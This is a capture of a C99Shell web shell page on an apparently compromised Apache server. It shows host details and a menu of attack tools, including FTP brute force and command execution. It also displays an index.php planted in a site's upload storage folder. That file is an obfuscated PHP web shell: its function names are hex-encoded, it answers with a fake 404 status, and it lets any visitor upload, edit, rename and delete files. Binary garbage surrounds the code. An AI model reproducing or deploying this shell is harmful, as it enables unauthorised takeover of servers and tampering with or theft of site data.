!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smab.picotech.app/public_html/storage/app/public/75944/   drwxr-xr-x
Free 26.53 GB of 117.98 GB (22.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     index.php (15.8 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
��lԉl�c�)���H����<9O��b�UE�n� �Lk'�HԻ�.kc�c v(X�jj�w��ǰ��k\��c�������gTY�.j�3�����-\=��4Q�a��*"U(Y��4�D1�,T�e�3��-�n��W�\��v�bY�ꎊ�YQk�lkPȤ�M7���%�I� ��W�����z?�\�u!�-VK�[wv�����������,rA    �#���̆bdSF� ���d;u���D��R��c��Eڛ����Q�W�~����
)G�g1ڄS��,�x���gEb��v�k��>�z?��w�%�J���V*H��⌏�=�L�O
<?php error_reporting(0); http_response_code(404); define("Yp"""); $G3 "scandir"$c8 = array("7068705f756e616d65""70687076657273696f6e""676574637764""6368646972""707265675f73706c6974""61727261795f64696666""69735f646972""69735f66696c65""69735f7772697461626c65""69735f7265616461626c65""66696c6573697a65""636f7079""66696c655f657869737473""66696c655f7075745f636f6e74656e7473""66696c655f6765745f636f6e74656e7473""6d6b646972""72656e616d65""737472746f74696d65""68746d6c7370656369616c6368617273""64617465""66696c656d74696d65"); $lE 0T4: if (!($lE count($c8))) { goto Je; } $c8[$lE] = JD($c8[$lE]); Cy$lE++; goto T4Je: if (isset($_GET["p"])) { goto sr; } $Jd $c8[2](); goto VNsr$Jd jD($_GET["p"]); $c8[3](Jd($_GET["p"])); VN: function Ss($SP) { $dE ""$lE 0NZ: if (!($lE strlen($SP))) { goto Xc; } $dE .= dechex(ord($SP[$lE])); WK$lE++; goto NZXc: return $dE; } function Jd($SP) { $dE ""$gf strlen($SP) - 1$lE 0Xp: if (!($lE $gf)) { goto ur; } $dE .= chr(hexdec($SP[$lE] . $SP[$lE 1])); Wn$lE += 2; goto Xpur: return $dE; } function rn($F1) { $Jd fileperms($F1); if (($Jd 0xc000) == 0xc000) { goto FZ; } if (($Jd 0xa000) == 0xa000) { goto Eu; } if (($Jd 0x8000) == 0x8000) { goto ES; } if (($Jd 0x6000) == 0x6000) { goto sA; } if (($Jd 0x4000) == 0x4000) { goto lG; } if (($Jd 0x2000) == 0x2000) { goto tV; } if (($Jd 0x1000) == 0x1000) { goto Tx; } $lE 'u'; goto cCFZ$lE 's'; goto cCEu$lE 'l'; goto cCES$lE '-'; goto cCsA$lE 'b'; goto cClG$lE 'd'; goto cCtV$lE 'c'; goto cCTx$lE 'p'cC$lE .= $Jd 0x100 'r' '-'$lE .= $Jd 0x80 'w' '-'$lE .= $Jd 0x40 $Jd 0x800 's' 'x' : ($Jd 0x800 'S' '-'); $lE .= $Jd 0x20 'r' '-'$lE .= $Jd 0x10 'w' '-'$lE .= $Jd 0x8 $Jd 0x400 's' 'x' : ($Jd 0x400 'S' '-'); $lE .= $Jd 0x4 'r' '-'$lE .= $Jd 0x2 'w' '-'$lE .= $Jd 0x1 $Jd 0x200 't' 'x' : ($Jd 0x200 'T' '-'); return $lE; } function Xe($OB$Ch 1$BL "") { global $Jd$xe $Ch == "success" "error"; echo "<script>swal({title: \"{$xe}\", text: \"{$OB}\", icon: \"{$xe}\"}).then((btnClick) => {if(btnClick){document.location.href=\"?p=" Ss($Jd) . $BL "\"}})</script>"; } function tF($yf) { global $c8; if (!(trim(pathinfo($yfPATHINFO_BASENAME), '.') === '')) { goto IE; } return; IE: if ($c8[6]($yf)) { goto PF; } unlink($yf); goto jKPFarray_map("deldir"glob($yf DIRECTORY_SEPARATOR '{,.}*'GLOB_BRACE GLOB_NOSORT)); rmdir($yf); jK: } ?> 
<!doctype html>
<html lang="en">
<head>
<meta name="theme-color" content="red">
<meta name="viewport" content="width=device-width, initial-scale=0.60, shrink-to-fit=no">
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css">
<link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<title>404</title>
<style> @import url('https://fonts.googleapis.com/css2?family=Kelly+Slab&display=swap');
.bg-dark { background-color: black; }
.border { border: 2px solid blue!important; border-radius: 0.75rem!important; background-color: transparent; color: white; padding-left: 1rem; }
.table>tbody>tr>* { color: #007fff; vertical-align: middle; border: 2px solid #2014ff; }
.table thead th { vertical-align: bottom; border: 2px solid blue; color: #31ed06; }
.table-hover tbody tr:hover td{ background: #3f3f3f }
.table-hover tbody tr:hover td>*{ }
.table>tbody>tr>*{ color:#fff; vertical-align:middle; }
.form-control{background:0 0!important;color:#fff!important;border-radius:0}
.form-control::placeholder{color:#fff;opacity:1}
li{font-size:17px;margin-left:6px;list-style:none;color: #31ed06;list-style: inherit;}
a{ color: #ffffff; }
a:hover { text-decoration: none; color: #31ed06; }
button, input { border: 2px solid #31ed06;border-radius: 0.5rem;font-size: 1rem;color:white;line-height: normal; }
button, input:hover { border: 2px solid blue;border-radius: 0.5rem;font-size: 1rem;cursor: pointer; }
.ohct { padding-left: 1rem; padding-right: 1rem; color: white; border: 2px solid #31ed06; border-radius: 5px; background-color: green; }
.ohct:hover { border: 2px solid #2014ff; color: white; }
.combet { color: white; }
.combet:hover { color: #31ed06; }
</style>
<style>
.fa {padding: 10px;font-size: 20px;width: 50px;text-align: center;text-decoration: none;margin: 5px;border-radius: 5px;border: 2px solid blue;background: transparent;}
.fa:hover {color: #31ed06;}
.text-light {color: #f8f9fa!important;font-size: 17px!important;}
</style>
<script src="//unpkg.com/sweetalert/dist/sweetalert.min.js"></script>
</head>
<body style="background-color:#000;color:black;font-size: 0px ;font-family: 'Kelly Slab';width: 100%;padding: 0.5rem;">
<div class="table-responsive text-light" style="border: 2px solid #2014ff;text-align: left;padding: 0.25rem;border-radius: 0.75rem;">
<div style="text-align: center;display: flex;align-items: center;justify-content: center;align-content: center;">


<a href="?" style="font-size: 2rem;text-shadow: 0px 0px 10px blue;"><span>Diablooqt Bypass 403</span></a>


</div>
<li>Your IP : <span style="color: white;"><?php echo $_SERVER['REMOTE_ADDR']; ?></span></li>
<li>Server IP : <span style="color: white;"><?php echo $_SERVER['SERVER_ADDR']; ?></span></li>
<li>Server : <span style="color: white;"><?= $c8[0](); ?></span></li>
<li>Server Software : <span style="color: white;"><?php echo gethostbyname($_SERVER['SERVER_SOFTWARE']); ?></span></li>
<li>Server Name : <span style="color: white;"><?php echo $_SERVER['SERVER_NAME']; ?></span></li>
<li>PHP Version : <span style="color: white;"><?= $c8[1](); ?></span></li>
<li>Add File : <a href="?p=<?= ss($Jd) . "&a=" Ss("newFile"); ?>" class="ohct">Submit</a></li>
<li>Add Directory : <a href="?p=<?= Ss($Jd) . "&a=" sS("newDir"); ?>" class="ohct">Submit</a></li>
<li><form method="post" enctype="multipart/form-data" style="padding: 0.10rem;display: inline-block;">
<input type="file" name="f[]" onchange="this.form.submit()" multiple>
<?php if (!isset($_FILES["f"])) { goto ea; } $Wx $_FILES["f"]["name"]; $lE 0th: if (!($lE count($Wx))) { goto dx; } if ($c8[11]($_FILES["f"]["tmp_name"][$lE], $Wx[$lE])) { goto PG; } Xe("file failed to upload"0); goto tGPGXE("file uploaded successfully"); tGg9$lE++; goto thdxea: if (!isset($_GET["download"])) { goto FA; } header("Content-Type: application/octet-stream"); header("Content-Transfer-Encoding: Binary"); header("Content-Length: " $c8[17](JD($_GET["n"]))); header("Content-disposition: attachment; filename=\"" jd($_GET["n"]) . "\""); FA?> 
</form></li>
</div>
<div style="border: 2px solid #2014ff;border-radius: 0.75rem;padding: 0.25rem;margin-top: 0.20rem;margin-bottom: 0.25rem;font-family: 'Kelly Slab';">
<li style="font-size: 1.10rem;margin-left: 0.20rem;list-style: inherit;padding: 0.15rem;">Dir : 
<?php $Op $c8[4]("/(\\\\|\\/)/"$Jd); foreach ($Op as $j3 => $Oe) { if (!($j3 == && $Oe == "")) { goto xi; } echo "<a href=\"?p=2f\" class=\"combet\">~</a>/"; goto CSxi: if (!($Oe == "")) { goto sq; } goto CSsq: echo "<a class=\"combet\" href=\"?p="$lE 0de: if (!($lE <= $j3)) { goto ie; } echo sS($Op[$lE]); if (!($lE != $j3)) { goto s0; } echo "2f"s0dg$lE++; goto deie: echo "\">{$Oe}</a>/"CS: } Go?> 
</li>
</div>
<article style="text-align: center;font-family: 'Kelly Slab';font-size: 1rem;">
<?php if (!isset($_GET["a"])) { goto Un; } if (!isset($_GET["a"])) { goto cc; } $im Jd($_GET["a"]); cc?>
<div class="px-2 py-2">
<?php if (!($im == "delete")) { goto Lu; } $BL $Jd '/' Jd($_GET["n"]); if (!($_GET["t"] == "d")) { goto VZ; } TF($BL); if (!$c8[12]($BL)) { goto e8; } Xe("failed to delete the folder"0); goto iLe8Xe("folder deleted successfully"); iLVZ: if (!($_GET["t"] == "f")) { goto xB; } $BL $Jd '/' jd($_GET["n"]); unlink($BL); if (!$c8[12]($BL)) { goto uH; } Xe("file to delete the folder"0); goto MkuHxe("file deleted successfully"); MkxBLu?>
<?php 
if ($im == "newDir") { goto Fg; } if ($im == "newFile") { goto Pb; } if ($im == "rename") { goto Lw; } if ($im == "edit") { goto Ox; } if ($im == "view") { goto Ag; } goto WCFg?>
<h5 class="border p-1">New Folder Name :</h5>
<form method="post">
<div class="form-group">
<input name="n" id="n" class="border" autocomplete="off">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button>
</div> 
</form> 
<?php isset($_POST["s"]) ? $c8[12]("{$Jd}/{$_POST["n"]}") ? xE("folder name has been used"0"&a=" SS("newDir")) : ($c8[15]("{$Jd}/{$_POST["n"]}") ? Xe("folder created successfully") : Xe("folder failed to create"0)) : null; goto WCPb?>
<h5 class="border p-1">New File Name :</h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" placeholder="hack.txt">
</div>
<div class="form-group">
<textarea style="resize:none" name="ctn" id="ctn" cols="30" rows="10" class="form-control border" placeholder=""></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Create</button> 
</div>
</form>
<?php
isset($_POST["s"])
    ? (
$c8[12]("{$Jd}/{$_POST["n"]}")
        ? 
xE("file name has been used"0"&a=" SS("newFile"))
        : (
$c8[13]("{$Jd}/{$_POST["n"]}"$_POST["ctn"])
            ? 
XE(""1"&a=" ss("view") . "&n=" Ss($_POST["n"]))
            : 
Xe("file failed to create"0)))
    : 
null;
goto 
WC;
Lw:
?>
<h5 class="border p-1">Rename File : <?= jD($_GET["n"]); ?></h5>
<form method="post">
<div class="form-group">
<input type="text" name="n" id="n" class="border" value="<?= jD($_GET["n"]); ?>">
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php isset($_POST["s"]) ? $c8[16]($Jd '/' jD($_GET["n"]), $_POST["n"]) ? XE("successfully changed the folder name") : Xe("failed to change the folder name"0) : null; goto WCOx?>
<h5 class="border p-1">Edit File Name : <?= Jd($_GET["n"]); ?></h5>
<form method="post">
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border"><?= $c8[18]($c8[14]($Jd '/' jD($_GET["n"]))); ?></textarea>
</div>
<div class="form-group">
<button type="submit" name="s" class="ohct">Save</button>
</div>
</form>
<?php isset($_POST["s"]) ? $c8[13]($Jd '/' jD($_GET["n"]), $_POST["ctn"]) ? xE("file contents changed successfully"1"&a=" sS("view") . "&n={$_GET["n"]}") : xE("file contents failed to change") : null; goto WCAg?>
<h5 class="border p-1">View File Name : <?= jd($_GET["n"]); ?></h5>
<div class="form-group">
<textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control border" readonly><?= $c8[18]($c8[14]($Jd '/' jd($_GET["n"]))); ?></textarea>
</div>
<?php WC?>
</div>
<?php goto mRUn?>
<table class="table table-hover table-borderless table-sm" style="text-align: center;">
<thead class="text-light">
<tr>
<th>Name</th>
<th>Size</th>
<th>Permission</th>
<th colspan="3">Action</th>
</tr>
</thead>
<tbody class="text-light"> <?php $G3 $c8[5]($G3($Jd), ["."".."]); foreach ($G3 as $yf) { if ($c8[6]("{$Jd}/{$yf}")) { goto CB; } goto QjCB: echo 
<tr>
<td style=\"text-align: left;\">
<a href=\"?p=" 
sS("{$Jd}/{$yf}") . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " $c8[19]("Y-m-d H:i"$c8[20]("{$Jd}/{$yf}")) . "\">
<i class=\"fa fa-fw fa-folder\" style=\"border: 0;padding: 0;width: 1.28571429em;\">
</i> 
{$yf}
</a>
</td>
<td style=\"color: black;\"><span>------</span></td>
<td><font color=\"" 
. ($c8[8]("{$Jd}/{$yf}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$yf}") ? "red" null)) . "\">" RN("{$Jd}/{$yf}") . "</font></td>
<td style=\"color: black;\"><span>------</span></td>
<td>
<a href=\"?p=" 
ss($Jd) . "&a=" ss("rename") . "&n=" ss($yf) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a>
</td>
<td>
<a href=\"?p=" 
sS($Jd) . "&a=" ss("delete") . "&n=" ss($yf) . "\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a>
</td>
</tr>"
Qj: } ad: foreach ($G3 as $F1) { if ($c8[7]("{$Jd}/{$F1}")) { goto wA; } goto X1wA$kL $c8[10]("{$Jd}/{$F1}") / 1024$kL round($kL3); $kL $kL 1024 round($kL 10242) . "  MB" $kL "  KB"; echo "
<tr>
<td style=\"text-align: left;\">
<a href=\"?p=" 
SS($Jd) . "&a=" sS("view") . "&n=" SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " $c8[19]("Y-m-d H:i"$c8[20]("{$Jd}/{$F1}")) . "\">
<i class=\"fa fa-fw fa-file\" style=\"border: 0;padding: 0;width: 1.28571429em;\"></i> 
{$F1}
</a>
</td>
<td><span>
{$kL}</span></td>
<td><font color=\"" 
. ($c8[8]("{$Jd}/{$F1}") ? "#00ff00" : (!$c8[9]("{$Jd}/{$F1}") ? "red" null)) . "\">" rN("{$Jd}/{$F1}") . "</font></td>
<td><a href=\"?p=" 
Ss($Jd) . "&a=" Ss("edit") . "&n=" SS($F1) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\">Edit</a></td>
<td><a href=\"?p=" 
ss($Jd) . "&a=" SS("rename") . "&n=" ss($F1) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\">Rename</a></td>
<td><a href=\"?p=" 
ss($Jd) . "&a=" sS("delete") . "&n=" ss($F1) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\">Delete</a></td>
</tr>"
X1: } a2?> 
</tbody>
</table>
<h5 style="color: #31ed06;">
<font>&copy; Copyright 2022</font>
<font style="color: white;">Diablooqt</font>
<font> </font>
<font style="color: blue;"></font>
</h5>
<?php mR?> 
</article>
<script src="//code.jquery.com/jquery-3.5.1.slim.min.js"></script>
<script src="//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/js/bootstrap.bundle.min.js" ></script>
<script src="//cdn.jsdelivr.net/npm/bs-custom-file-input/dist/bs-custom-file-input.min.js"></script>
<script>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('E.n();$(\'[2-m="4"]\').4();$(".l").k(j(e){e.g();h 0=$(6).5("2-0");c({b:"a",9:"o i q?",w:"D "+0+" p C B",A:7,z:7,}).y((8)=>{r(8){x 1=$(6).5("3")+"&t="+((0=="v")?"d":"f");u.s.3=1}})});',41,41,'type|buildURL|data|href|tooltip|attr|this|true|willDelete|title|warning|icon|swal||||preventDefault|let|you|function|click|delete|toggle|init|Are|will|sure|if|location||document|folder|text|const|then|dangerMode|buttons|deleted|be|This|bsCustomFileInput'.split('|'),0,{}))</script>
</body>
</html>
��lԉl�c�)���H����<9O��b�UE�n� �Lk'�HԻ�.kc�c v(X�jj�w��ǰ��k\��c�������gTY�.j�3�����-\=��4Q�a��*"U(Y��4�D1�,T�e�3��-�n��W�\��v�bY�ꎊ�YQk�lkPȤ�M7���%�I� ��W�����z?�\�u!�-VK�[wv�����������,rA    �#���̆bdSF� ���d;u���D��R��c��Eڛ����Q�W�~����
)G�g1ڄS��,�x���gEb��v�k��>�z?��w�%�J���V*H��⌏�=�L�O

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0046 ]--